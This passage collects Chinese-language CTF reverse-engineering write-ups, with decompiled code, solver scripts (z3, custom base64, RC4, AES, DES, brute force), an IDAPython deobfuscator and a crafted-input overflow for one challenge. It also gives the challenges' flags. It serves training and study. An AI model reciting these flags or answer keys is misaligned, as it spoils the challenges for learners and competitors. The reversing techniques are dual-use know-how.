data = [0x00000001, 0x00000000, 0x00000005, 0x00000003, 0x00000002, 0x00000007, 0x00000000, 0x00000000, 0x00000008, 0x00000008, 0x00000000, 0x00000009, 0x00000000, 0x00000005, 0x00000000, 0x00000000, 0x00000002, 0x00000000, 0x00000000, 0x00000007, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000005, 0x00000000, 0x00000003, 0x00000004, 0x00000009, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000003, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000000, 0x00000007, 0x00000000, 0x00000009, 0x00000000, 0x00000006, 0x00000007, 0x00000000, 0x00000003, 0x00000002, 0x00000009, 0x00000000, 0x00000004, 0x00000008, 0x00000000, 0x00000000, 0x00000006, 0x00000000, 0x00000005, 0x00000004, 0x00000000, 0x00000008, 0x00000000, 0x00000009, 0x00000000, 0x00000000, 0x00000004, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000003, 0x00000000, 0x00000000, 0x00000002, 0x00000001, 0x00000000, 0x00000003, 0x00000000, 0x00000007, 0x00000000, 0x00000004]

v9 = []

for i,j in zip(data, sudoku):
if i != j:
v9.append(j)

for i in range(len(v9)):
v9[i] += 0x30

from z3 import *

s = Solver()

x = [BitVec('x%d' % i, 8) for i in range(len(v9))]

for i in range(len(v9)):
s.add((x[i] & 0xf3 | ~x[i] & 0xC) - 0x14 == v9[i])

if s.check() == sat:
m = s.model()
data = []
for i in range(len(v9)):
data.append(m[x[i]].as_long())
for i in range(0, len(data)-1, 2):
data[i], data[i+1] = data[i+1], data[i]
for i in range(len(data)//2):
data[i],data[len(data)//2+i] = data[len(data)//2+i], data[i]
print(bytes(data))

[GUET-CTF2019]encrypt

rc4加密和换表base64加密

rc4主要就是异或加密,动调将异或的数打印出来即可

image-20211010234711196

这里下断点,其中edx即为异或的数据。写idapython脚本在断点处,将edx的值打印出来

image-20211010234745319

import base64
# from Crypto.Cipher import ARC4
data = [0x5A, 0x60, 0x54, 0x7A, 0x7A, 0x54, 0x72, 0x44, 0x7C, 0x66, 0x51, 0x50, 0x5B, 0x5F, 0x56, 0x56, 0x4C, 0x7C, 0x79, 0x6E, 0x65, 0x55, 0x52, 0x79, 0x55, 0x6D, 0x46, 0x6B, 0x6C, 0x56, 0x4A, 0x67, 0x4C, 0x61, 0x73, 0x4A, 0x72, 0x6F, 0x5A, 0x70, 0x48, 0x52, 0x78, 0x49, 0x55, 0x6C, 0x48, 0x5C, 0x76, 0x5A, 0x45, 0x3D]

old_table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
new_table = b""
for i in range(len(old_table)):
new_table += bytes([61 + i])
print(new_table)
cipher = bytes(data)
cipher = cipher.translate(bytes.maketrans(new_table, old_table))
plain = base64.b64decode(cipher)


xor_data = [16,89,156,146,6,34,207,165,114,30,69,106,6,203,8,195,228,73,90,99,12,223,246,95,8,40,189,226,16,21,31,110,170,90,202,236,128,175]

flag = b""
for i,j in zip(plain, xor_data):
flag += bytes([i ^ j])
print(flag)

[SCTF2019]babyre

存在花指令,用idapython去花


bg = 0x0000000000000798
end = 0X000000000000F66
addr = bg

def patch_nop(begin, end):
while(end>begin):
patch_byte(begin, 0x90)
begin=begin+1

def next_instr(addr):
return addr+get_item_size(addr)

while(addr<end):
next =next_instr(addr)
create_insn(next)
if 'j' in print_insn_mnem(addr) and 'j' in print_insn_mnem(next) :
if get_operand_value(addr, 0) == get_operand_value(next, 0):
print('jmp %08x'%addr)
dest_addr = get_operand_value(addr, 0)
patch_nop(addr, dest_addr)
addr=dest_addr
create_insn(addr)
addr = next_instr(addr)
create_insn(addr)

存在三关,第一关为三维迷宫 5 * 5 *5

image-20211011151419248

用python打出来手走一遍

data = [0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x73, 0x2E, 0x2E, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2E, 0x2E, 0x23, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2E, 0x2E, 0x2A, 0x2A, 0x2E, 0x2E, 0x2E, 0x2A, 0x2E, 0x2E, 0x2A, 0x2E, 0x2A, 0x2E, 0x2A, 0x2A, 0x2E, 0x2A]

for i in range(5):
for j in range(5):
maze = ""
for k in range(5):
maze += chr(data[i*25 + j*5+k])
print(maze)
print("================")


# path = b"ddwwxxssxaxwwaasasyywwdd"

第二关,一个编码函数,编码后等于sctf_9102

实际上就是base64

import base64
plain = b"sctf_9102"
cipher = base64.b64encode(plain)
print(cipher)

第三关,魔改SM4加密,对比数据丢进去就出了

fl4g_is_s0_ug1y!

最终flag为: ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)

[WMCTF2020]easy_re

通过x64dbg动态调试,f9运行,f2下断点, 通过输出please input the flag:来定位。

最后将perl脚本导出

image-20211011213717623

$flag = "WMCTF{I_WAnt_dynam1c_F1ag}";
print "please input the flag:";
$line = <STDIN>;
chomp($line);
if($line eq $flag){
print "congratulation!"
}else{
print "no,wrong"
}"

[2019红帽杯]Snake

2019 红帽杯 | Lantern’s 小站

[SCTF2019]Strange apk

jdax打开,程序会先对一个data文件进行异或操作,解压apk在 assets 文件夹下找到 data 文件

脚本还原

key = b"syclover"
file_data = open("data", "rb").read()
new_file = open("./mydata","wb")
decode = b''
cout = 0
for d in file_data:
decode += bytes([d ^ key[cout % 8]])
cout += 1

with open('./mydata', 'wb') as f:
f.write(decode)

则可知该文件为apk文件, 丢进jadx

查看Manifest.xml可知activity为s和t函数

image-20211011215947029

s函数

image-20211011220127907

而f.sctf为base64

image-20211011220159078

解码可以得到前12位flag

t函数

经过f.encode后等于~8t808_8A8n848r808i8d8-8w808r8l8d8}8

image-20211011220600055

encode如上,直接将奇数位(从0开始)去掉即可

import base64
s = b"c2N0ZntXM2xjMG1l"
plain = base64.b64decode(s)
# print(plain)

s = b"~8t808_8A8n848r808i8d8-8w808r8l8d8}8"
for i in range(0, len(s), 2):
plain += bytes([s[i]])
print(plain)

[SCTF2019]creakme

int __cdecl main(int argc, const char **argv, const char **envp)
{
HMODULE ModuleHandleW; // eax
int v4; // eax
_DWORD *v5; // eax
unsigned int v6; // edx
_DWORD *v7; // ecx
unsigned int v8; // ebx
char *v9; // edi
unsigned int v10; // esi
unsigned int v11; // esi
bool v12; // cf
unsigned __int8 v13; // al
unsigned __int8 v14; // al
unsigned __int8 v15; // al
int v16; // esi
void *v17; // ecx
void *v18; // ecx
const char *v19; // edx
int v20; // eax
void *Block[5]; // [esp+10h] [ebp-70h] BYREF
unsigned int v23; // [esp+24h] [ebp-5Ch]
void *v24[5]; // [esp+28h] [ebp-58h] BYREF
unsigned int v25; // [esp+3Ch] [ebp-44h]
char flag[48]; // [esp+40h] [ebp-40h] BYREF
int v27; // [esp+7Ch] [ebp-4h]

ModuleHandleW = GetModuleHandleW(0);
SMC(ModuleHandleW); // .SCTF 段进行SMC, 带一个反调试
call_sctf(); // 调用SMC后的代码
v4 = sub_402870(std::cout, "welcome to 2019 sctf");
std::ostream::operator<<(v4, sub_402AC0);
sub_402870(std::cout, "please input your ticket:");
sub_402AF0(std::cin, flag);
v24[4] = 0;
v25 = 15;
LOBYTE(v24[0]) = 0;
sub_401D30(v24, flag, strlen(flag));
v27 = 0;
v5 = aes_cbc(Block, (int)v24);
v6 = strlen(aPvfqyc4ttc2uxr);
v7 = v5;
if ( v5[5] >= 0x10u )
v7 = (_DWORD *)*v5;
v8 = v5[4];
v9 = aPvfqyc4ttc2uxr;
v10 = v8;
if ( v6 < v8 )
v10 = v6;
v12 = v10 < 4;
v11 = v10 - 4;
if ( v12 )
{
LABEL_8:
if ( v11 == -4 )
goto LABEL_17;
}
else
{
while ( *v7 == *(_DWORD *)v9 )
{
++v7;
v9 += 4;
v12 = v11 < 4;
v11 -= 4;
if ( v12 )
goto LABEL_8;
}
}
v12 = *(_BYTE *)v7 < (unsigned __int8)*v9;
if ( *(_BYTE *)v7 != *v9
|| v11 != -3
&& ((v13 = *((_BYTE *)v7 + 1), v12 = v13 < (unsigned __int8)v9[1], v13 != v9[1])
|| v11 != -2
&& ((v14 = *((_BYTE *)v7 + 2), v12 = v14 < (unsigned __int8)v9[2], v14 != v9[2])
|| v11 != -1 && (v15 = *((_BYTE *)v7 + 3), v12 = v15 < (unsigned __int8)v9[3], v15 != v9[3]))) )
{
v16 = v12 ? -1 : 1;
goto LABEL_18;
}
LABEL_17:
v16 = 0;
LABEL_18:
if ( !v16 )
{
if ( v6 <= v8 )
v16 = v6 < v8;
else
v16 = -1;
}
if ( v23 >= 0x10 )
{
v17 = Block[0];
if ( v23 + 1 >= 0x1000 )
{
v17 = (void *)*((_DWORD *)Block[0] - 1);
if ( (unsigned int)(Block[0] - v17 - 4) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
sub_402F05(v17);
}
v27 = -1;
Block[4] = 0;
v23 = 15;
LOBYTE(Block[0]) = 0;
if ( v25 >= 0x10 )
{
v18 = v24[0];
if ( v25 + 1 >= 0x1000 )
{
v18 = (void *)*((_DWORD *)v24[0] - 1);
if ( (unsigned int)(v24[0] - v18 - 4) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
sub_402F05(v18);
}
v19 = "Have fun!";
if ( v16 )
v19 = "A forged ticket!!";
v20 = sub_402870(std::cout, v19);
std::ostream::operator<<(v20, sub_402AC0);
system("pause");
return 0;
}

SMC后的代码主要是对对比字符串进行操作,操作如下

unsigned int sub_404000()
{
unsigned int i; // edx
unsigned int v1; // esi
unsigned int result; // eax
int v3; // eax
char v4; // dl

for ( i = 0; i < strlen(aPvfqyc4ttc2uxr); ++i )
--aPvfqyc4ttc2uxr[i];
v1 = 0;
result = strlen(aPvfqyc4ttc2uxr);
if ( (result & 0xFFFFFFFE) != 0 )
{
do
{
v3 = result - v1;
v4 = *(_BYTE *)(v3 + 4231191);
*(_BYTE *)(v3 + 4231191) = aPvfqyc4ttc2uxr[v1];
aPvfqyc4ttc2uxr[v1++] = v4;
result = strlen(aPvfqyc4ttc2uxr);
}
while ( v1 < result >> 1 );
}
return result;
}

最后得到nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo=

接着就是一个CBC模式的AES

void *__fastcall aes_cbc(void *a1, int a2)
{
char *v2; // esi
int v3; // ebx
char *v4; // edx
int v5; // ecx
char v6; // al
int v7; // ecx
char v8; // si
int v9; // eax
char *v10; // edi
unsigned int v11; // ecx
char *v12; // edi
char v13; // bl
signed int v14; // ecx
char *v15; // esi
unsigned __int8 *v16; // edx
signed int v17; // eax
int v19; // [esp-10h] [ebp-4B8h]
int v20; // [esp-Ch] [ebp-4B4h]
int v21; // [esp-8h] [ebp-4B0h]
int v22; // [esp-4h] [ebp-4ACh]
unsigned int v24; // [esp+14h] [ebp-494h]
size_t Size; // [esp+18h] [ebp-490h]
size_t Sizea; // [esp+18h] [ebp-490h]
char *Block; // [esp+1Ch] [ebp-48Ch]
unsigned int v28; // [esp+20h] [ebp-488h]
char *v29; // [esp+20h] [ebp-488h]
void **v30; // [esp+24h] [ebp-484h] BYREF
char v31; // [esp+28h] [ebp-480h]
int v32; // [esp+3ECh] [ebp-BCh]
size_t v33; // [esp+3F0h] [ebp-B8h]
int v34; // [esp+3F4h] [ebp-B4h]
unsigned __int8 v35[128]; // [esp+418h] [ebp-90h] BYREF
int v36; // [esp+4A4h] [ebp-4h]

v2 = (char *)a2;
v28 = *(_DWORD *)(a2 + 16);
v3 = 16 * ((v28 >> 4) + 1);
v24 = v3;
Size = v3 + 1;
Block = (char *)unknown_libname_1(v3 + 1);
memset(Block, 0, v3 + 1);
if ( *((_DWORD *)v2 + 5) >= 0x10u )
v2 = *(char **)v2;
v4 = Block;
v5 = Block - v2;
do
{
v6 = *v2++;
v2[v5 - 1] = v6;
}
while ( v6 );
v7 = v28 & 0xF;
if ( 16 - v7 > 0 )
{
v8 = 16 - v7;
v9 = 16843009 * (unsigned __int8)(16 - v7);
v10 = &Block[16 * (v28 >> 4) + v7];
v4 = Block;
v11 = (unsigned int)(16 - v7) >> 2;
memset32(v10, v9, v11);
memset(&v10[4 * v11], v9, v8 & 3);
}
v4[v3] = 0;
v12 = (char *)unknown_libname_1(Size);
v29 = v12;
memset(v12, 0, Size);
v30 = &AES::`vftable';
v31 = 0;
v32 = 0;
v33 = 0;
v34 = 0;
v36 = 0;
aes_init((int)&v30, v19, v20, v21, v22); // key硬编码在里面
v13 = v31;
if ( v31 )
{
if ( v24 )
{
v14 = v33;
if ( !(v24 % v33) )
{
v15 = Block;
Sizea = 0;
if ( v24 / v33 )
{
while ( 1 )
{
v16 = v35;
if ( v13 )
{
v17 = 0;
if ( v14 > 0 )
{
do
*v16++ ^= v15[v17++]; // v16为iv
while ( v17 < (int)v33 );
}
}
sub_4013E0((int)&v30, v35, v12);
memcpy(v35, v12, v33);
v14 = v33;
v15 += v33;
v12 += v33;
if ( ++Sizea >= v24 / v33 )
break;
v13 = v31;
}
}
v12 = v29;
}
}
}
sub_401A70(a1, v12, v24);
j_j_free(Block);
j_j_free(v12);
return a1;
}

解密脚本如下:

from Crypto.Cipher import AES
import base64
s = b"nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo="
cipher = base64.b64decode(s)
key = b"sycloversyclover"
iv = b"sctfsctfsctfsctf"
obj = AES.new(key, AES.MODE_CBC, iv)
plain = obj.decrypt(cipher)
print(plain)

[GKCTF 2021]QQQQT

反编译后base58 解密

[SCTF2019]Who is he

Unity逆向,主要看Assembly-CSharp.dll, DES解密,

public void OnClick()
{
Debug.Log("Button Clicked. TestClick.");
Debug.Log(this.Name.text);
bool flag = this.Name.text.Equals(this.Decrypt(this.EncryptData));
if (flag)
{
Debug.Log("Right");
TestClick.Messagebox.MessageBox(IntPtr.Zero, "Haha, same as you!", "Info:", 0);
}
else
{
Debug.Log("Wrong");
TestClick.Messagebox.MessageBox(IntPtr.Zero, "Emmmmm,I don't think so.", "Info:", 0);
}
}

private string Decrypt(string str)
{
string result;
try
{
byte[] bytes = Encoding.Unicode.GetBytes(TestClick.encryptKey);
byte[] array = Convert.FromBase64String(str);
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, bytes), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
byte[] bytes2 = memoryStream.ToArray();
cryptoStream.Close();
memoryStream.Close();
result = Encoding.Unicode.GetString(bytes2);
}
catch
{
result = str;
}
return result;
}

由于Encoding.GetEncoding("utf-8").GetBytes故密钥每个字符后面要补上\x00, 解得假flag

from Crypto.Cipher import DES
import base64
cipher = b"1Tsy0ZGotyMinSpxqYzVBWnfMdUcqCMLu0MA+22Jnp+MNwLHvYuFToxRQr0c+ONZc6Q7L0EAmzbycqobZHh4H23U4WDTNmmXwusW4E+SZjygsntGkO2sGA=="
cipher = base64.b64decode(cipher)
key = b"1\x002\x003\x004\x00"
iv = key
des = DES.new(key, DES.MODE_CBC, iv)
plain = des.decrypt(cipher)
print(plain.decode('UTF-16'))

动态调试程序,根据传参规则,在栈中找到两个参数

image-20211015162152572

在返回值处下断,不断调试跟踪,找到

image-20211015162253459

此处有个跳转,该跳转就是跳到错误提示的地方,如果不调转则会输出正确输出,则断在call r11,进去后根据传参规则,查看rdi就是我们的输入,rsi则是对比的flag

image-20211015163141171

得到flag

[FlareOn2]very_success

ida32打开, 根据字符串搜索找到主要函数

// positive sp value has been detected, the output may be wrong!
BOOL __usercall sub_401000@<eax>(int a1@<ebp>)
{
int v1; // eax
int v3; // [esp-14h] [ebp-14h]
HANDLE StdHandle; // [esp-10h] [ebp-10h]
HANDLE v5; // [esp-Ch] [ebp-Ch]
int v6; // [esp-8h] [ebp-8h] BYREF
int v7; // [esp-4h] [ebp-4h]

v1 = v7;
v7 = a1;
v3 = v1;
StdHandle = GetStdHandle(0xFFFFFFF6);
v5 = GetStdHandle(0xFFFFFFF5);
WriteFile(v5, aYouCrushedThat, 0x43u, (LPDWORD)&v6, 0);
ReadFile(StdHandle, flag, 0x32u, (LPDWORD)&v6, 0);
if ( sub_401084((int)&v6, v3, flag, v6) )
return WriteFile(v5, aYouAreSuccess, 0x11u, (LPDWORD)&v6, 0);
else
return WriteFile(v5, aYouAreFailure, 0x11u, (LPDWORD)&v6, 0);
}

其中sub_401084函数为check函数

// positive sp value has been detected, the output may be wrong!
int __usercall sub_401084@<eax>(int result@<eax>, int a2, char *a3, int a4)
{
__int16 v4; // bx
int v5; // ecx
_BYTE *v7; // edi
char v8; // al
unsigned int v9; // kr00_4
char v10; // al
char v11; // cf
__int16 v12; // ax
bool v13; // zf
_BYTE *v14; // edi
int v15; // [esp+4h] [ebp-8h]

v4 = 0;
v5 = 37;
if ( a4 >= 37 )
{
v7 = (_BYTE *)(a2 + 36);
while ( 1 )
{
LOWORD(result) = 0x1C7;
v15 = result;
v8 = *a3++;
v9 = __readeflags();
v10 = v15 ^ v8;
__writeeflags(v9);
v12 = (unsigned __int8)(__ROL1__(1, v4 & 3) + v11 + v10);
v4 += v12;
v13 = *v7 == (unsigned __int8)v12;
v14 = v7 + 1;
if ( !v13 )
LOWORD(v5) = 0;
result = v15;
if ( !v5 )
break;
v7 = v14 - 2;
if ( !--v5 )
return result;
}
}
return 0;
}

则可知flag长度大于等于37, v7为对比的数据,从后往前check,动调,发现为start往下

image-20211015173545176

对输入的数据加密如下,只不过反编译出来有些奇怪。其中sum从0开始,每次加上计算后的数,即本次对比的数据

(input ^ 0xC7) + (1 << (sum & 3)) + 1 

则解密脚本为

d = [0xAF, 0xAA, 0xAD, 0xEB, 0xAE, 0xAA, 0xEC, 0xA4, 0xBA, 0xAF, 0xAE, 0xAA, 0x8A, 0xC0, 0xA7, 0xB0, 0xBC, 0x9A, 0xBA, 0xA5, 0xA5, 0xBA, 0xAF, 0xB8, 0x9D, 0xB8, 0xF9, 0xAE, 0x9D, 0xAB, 0xB4, 0xBC, 0xB6, 0xB3, 0x90, 0x9A, 0xA8][::-1]
x = 0xC7
flag = b""
def ROL1(x):
return 1 << x
sum = 0
for i in d:
flag += bytes([(i - ROL1(sum & 3) - 1) ^ x])
sum += i
print(flag)

[CISCN2018]2ex

MIPS32, IDA打开,找到主要函数

int sub_400788()
{
char v1[20]; // [sp+18h] [+18h] BYREF
char v2[28]; // [sp+2Ch] [+2Ch] BYREF

sub_400840(v1); // read v1
sub_4010F0((int)v2, 25);
sub_400430(v1, 17u, v2); // change_table_base64, v1 => in, v2 => out
sub_4009C0((int)v2); // print(v2)
return 0;
}

导出新表,解得flag

import base64
new_table = bytes([0x40, 0x2C, 0x2E, 0x31, 0x66, 0x67, 0x76, 0x77, 0x23, 0x60, 0x2F, 0x32, 0x65, 0x68, 0x75, 0x78, 0x24, 0x7E, 0x22, 0x33, 0x64, 0x69, 0x74, 0x79, 0x25, 0x5F, 0x3B, 0x34, 0x63, 0x6A, 0x73, 0x7A, 0x5E, 0x2B, 0x7B, 0x35, 0x62, 0x6B, 0x72, 0x41, 0x26, 0x3D, 0x7D, 0x36, 0x61, 0x6C, 0x71, 0x42, 0x2A, 0x2D, 0x5B, 0x37, 0x30, 0x6D, 0x70, 0x43, 0x28, 0x29, 0x5D, 0x38, 0x39, 0x6E, 0x6F, 0x44])
old_table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(len(new_table), len(old_table))

with open("out.txt", "rb") as file:
d = file.read()
d = d.translate(bytes.maketrans(new_table, old_table))
print(d)
print(base64.b64decode(d))

[watevrCTF 2019]Timeout

ida打开,本题有两种做法

No.1

int __cdecl main(int argc, const char **argv, const char **envp)
{
signal(14, (__sighandler_t)sig);
alarm(1u);
delay(6000000LL);
can_continue = 1337;
return 0;
}

主函数,根据can_continue查引用,找到generate函数,直接得到flag

No.2

patchgenerate函数判断条件,然后再main函数开头直接跳到generate函数

[网鼎杯 2020 青龙组]bang

2020 网鼎杯 | Lantern’s 小站

Dig the way

主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // ebx
int v5; // ebx
char Str[20]; // [esp+1Ch] [ebp-48h] BYREF
_DWORD v7[3]; // [esp+30h] [ebp-34h] BYREF
int v8; // [esp+3Ch] [ebp-28h]
int v9; // [esp+40h] [ebp-24h]
int v10; // [esp+44h] [ebp-20h]
_DWORD v11[3]; // [esp+48h] [ebp-1Ch]
int v12; // [esp+54h] [ebp-10h]
int v13; // [esp+58h] [ebp-Ch]
FILE *v14; // [esp+5Ch] [ebp-8h]

__main();
v11[0] = func0;
v11[1] = func1;
v11[2] = func2;
v7[0] = 0;
v7[1] = 1;
v7[2] = 2;
v8 = 3;
v9 = 3;
v10 = 4;
v14 = fopen("data", "rb");
if ( !v14 )
return -1;
fseek(v14, 0, 2);
v13 = ftell(v14);
fseek(v14, 0, 0);
v12 = ftell(v14);
if ( v12 )
{
puts("something wrong");
return 0;
}
else
{
for ( i = 0; i < v13; ++i )
{
v4 = i;
Str[v4] = fgetc(v14);
}
if ( strlen(Str) <= v13 )
{
v13 = v8;
i = 0;
v12 = v10;
while ( i <= 2 )
{
v5 = i + 1;
v7[v5] = ((int (__cdecl *)(_DWORD *, int, int))v11[i])(v7, v9, v10);
v9 = ++i;
v10 = i + 1;
}
if ( v8 )
{
return -1;
}
else
{
get_key(v13, v12);
system("PAUSE");
return 0;
}
}
else
{
return -1;
}
}
}

从data中读入数据,其中下述代码用于获得文件读入数据的长度

fseek(v14, 0, 2);
v13 = ftell(v14);
fseek(v14, 0, 0);
v12 = ftell(v14);

而这串读入代码有栈溢出的风险,即越界写

for ( i = 0; i < v12; ++i )
{
v4 = i;
Str[v4] = fgetc(v13);
}

接下来研究3个函数

fun0

int __cdecl func0(void *a1, int a2, int a3)
{
int v4; // [esp+Ch] [ebp-4h]

v4 = *((_DWORD *)a1 + a2);
*((_DWORD *)a1 + a2) = *((_DWORD *)a1 + a3);
*((_DWORD *)a1 + a3) = v4;
return 1;
}

a1 + a2a1 + a3处的数据进行交换

fun1

unsigned int __cdecl func1(_DWORD *a1, int a2, int a3)
{
return abs32(a1[a2] + a1[a3]) - abs32(a1[a3]) - abs32(a1[a2]) + 2;
}

|x1 + x2| - |x1| - |x2| + 2

fun2

unsigned int __cdecl func2(_DWORD *a1, int a2, int a3)
{
return abs32(a1[a3]) - abs32(a1[a3] + a1[a2]) + abs32(a1[a2]) + 2;
}

|x1| + |x2| - |x1 + x2| + 2

解题思路

我们的目标是使其输出flag, 即v8为0

if ( v8 )
{
return -1;
}
else
{
get_key(v13, v12);
system("PAUSE");
return 0;
}

而调用函数的循环中, 刚好溢出了一位

i = 0;
while ( i <= 2 )
{
v5 = i + 1;
v7[v5] = ((int (__cdecl *)(_DWORD *, int, int))v11[i])(v7, v9, v10);
v9 = ++i;
v10 = i + 1;
}

即我们需要让最后一位得到的函数返回值为0, 但fun2的值必正值,fun1才有可能是0值。

则我们可以利用fun0的交换,将fun1fun2函数指针进行交换,并设计读入的值使fun2返回值为0

则我们需要构造如下输入

image-20211015225248831

其中07 00 00 0008 00 00 00为读入的v9v10的值(小端序), 这样就可以使得v7 [7]fun1v7[8]fun2并在调用fun0时使其交换, 返回值为0, 给到v7[1]

在第二次函数调用fun2时,传入参数为v7, 1, 2,即|v7[1]| + |v7[2]| - |v7[1] + v7[2]| + 2,由于v7[1] == 0, 故算得返回值2给到v7[2],

在最后一次函数调用fun3时, 传入参数为v7, 2, 3, 即|v7[2] + v8| - |v8| - |v7[2]| + 2,则v8的值需要为-1才能使计算结果为0

即构造输入FF FF FF FF,为读入的v8的值,得到上述文件

运行得到flag

image-20211015231054530

[MRCTF2020]EasyCpp

分析如下

image-20211016001600213

其中对比的数据需要动调得到, 解题脚本如下

import hashlib
def reach(x):
d = x.split(' ')[1:]
sum = 1
for i in d:
sum *= int(i)
return sum

items = ["O0", "l1", "z2", "E3", "A4", "s5", "G6", "T7", "B8", "q9", "= "]
table = {ord(i[0]):ord(i[1]) for i in items}
check_num = ["=zqE=z=z=z", "=lzzE", "=ll=T=s=s=E", "=zATT", "=s=s=s=E=E=E", "=EOll=E", "=lE=T=E=E=E", "=EsE=s=z", "=AT=lE=ll"]
data = [i.translate(table) for i in check_num]
print(data)
f = ""
for i in data:
f += str(reach(i) ^ 1)
flag = hashlib.md5(f.encode()).hexdigest().upper()
print("flag{" + flag + "}")

[SUCTF2018]babyre

ida打开得到主要逻辑,输入key会计算出flag, 则直接爆破即可

def decode(key):
box = [0x02, 0x03, 0x02, 0x01, 0x04, 0x07, 0x04, 0x05, 0x0A, 0x0B, 0x0A, 0x09, 0x0E, 0x0F, 0x0C, 0x0D, 0x10, 0x13, 0x10, 0x11, 0x14, 0x17, 0x16, 0x13, 0x1C, 0x19, 0x1E, 0x1F, 0x1C, 0x19, 0x1A, 0x1F, 0x24, 0x21, 0x22, 0x27, 0x24, 0x21, 0x22, 0x23, 0x28, 0x29, 0x2E, 0x2B, 0x24, 0x2D, 0x26, 0x2F, 0x38, 0x31, 0x3A, 0x3B, 0x34, 0x3D, 0x3E, 0x37, 0x30, 0x39, 0x32, 0x3B, 0x3C, 0x35, 0x36, 0x37, 0x48, 0x49, 0x42, 0x42, 0x44, 0x44, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4A, 0x4D, 0x4D, 0x4F, 0x4E, 0x50, 0x50, 0x52, 0x53, 0x55, 0x54, 0x56, 0x57, 0x59, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5E, 0x60, 0x60, 0x63, 0x63, 0x64, 0x65, 0x67, 0x67, 0x69, 0x69, 0x6B, 0x6B, 0x6C, 0x6D, 0x6E, 0x6E, 0x70, 0x70, 0x72, 0x73, 0x74, 0x75, 0x77, 0x77, 0x78, 0x79, 0x7B, 0x7B, 0x7D, 0x7D, 0x7F, 0x7F, 0x81, 0x81, 0x83, 0x83, 0x8C, 0x8D, 0x8E, 0x8F, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x87, 0x98, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9A, 0x9C, 0x9C, 0x9E, 0x9E, 0xA0, 0xA0, 0xA2, 0xA2, 0xA4, 0xA4, 0xA6, 0xA6, 0xA8, 0xA8, 0xAA, 0xAA, 0xAC, 0xAC, 0xAE, 0xAE, 0xB0, 0xB1, 0xB2, 0xB3]
flag = [0] * 22
i = 8
while i:
i -= 1
j = 22
while j:
j -= 1
t = (box[22 * i + j] >> ((key >> (2 * i)) & 3)) & 1
flag[j] |= t << i
return bytes(flag)

flag_format = b"SUCTF"
for i in range(0, 65536):
flag = decode(i)
if flag[:len(flag_format)] == flag_format:
print(flag)
break

[HDCTF2019]MFC

xspy探查控件,发现有一个消息并不是以宏的形式出现, 以及后面这一大串奇怪的字符串image-20211017225922909

写个程序向MFC程序发送这个消息即可

#include<Windows.h>
#include<stdio.h>
int main(){
HWND h = FindWindowA(NULL, "Flag就在控件里");
SendMessage(h, 0x0464, 0, 0);
}

编译运行,发现窗口发生变化

image-20211017230352675

结合上面,解密得到flag

from Crypto.Cipher import DES
from Crypto.Util.number import long_to_bytes
cipher = 0x944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b
cipher = long_to_bytes(cipher)
key = b"{I am a Des key}"[:8] # Des密钥长度64bit
des = DES.new(key, DES.MODE_ECB)
plain = des.decrypt(cipher)
print(plain)

[羊城杯 2020]Bytecode

首先初始化了,常量en数组和ouput数组,然后对输入的flag进行四步计算

  1. len(flag) >= 38
  2. ((((flag[0] * 2020+ flag[1]) * 2020 + flag[2]) * 2020 + flag[3]) * 2020 + flag[4]) == 1182843538814603, 这一步循环除以2020求商和余数即可, 实际上就是GWHT{
  3. flag[5:32]与en数组进行异或加密 => x, 判断x == output
  4. flag[-7:-2] 用六组方程进行判断, 这一步可以用z3解

则解密脚本如下

flag = b"GWHT{"

en=[0x3,0x25,0x48,0x9,0x6,0x84]
output=[101, 96, 23, 68, 112, 42, 107, 62, 96, 53, 176, 179, 98, 53, 67, 29, 41, 120, 60, 106, 51, 101, 178, 189, 101, 48]
for i in range(13):
f1, f2 = output[i*2] ^ en[i%6], output[i*2+1] ^ en[i%6]
flag += bytes([f2]) + bytes([f1])

from z3 import *
x = [Int('x%d' % i) for i in range(6)]
s = Solver()

s.add(x[0]*3 + x[1]*2 + x[2]*5 == 1003)
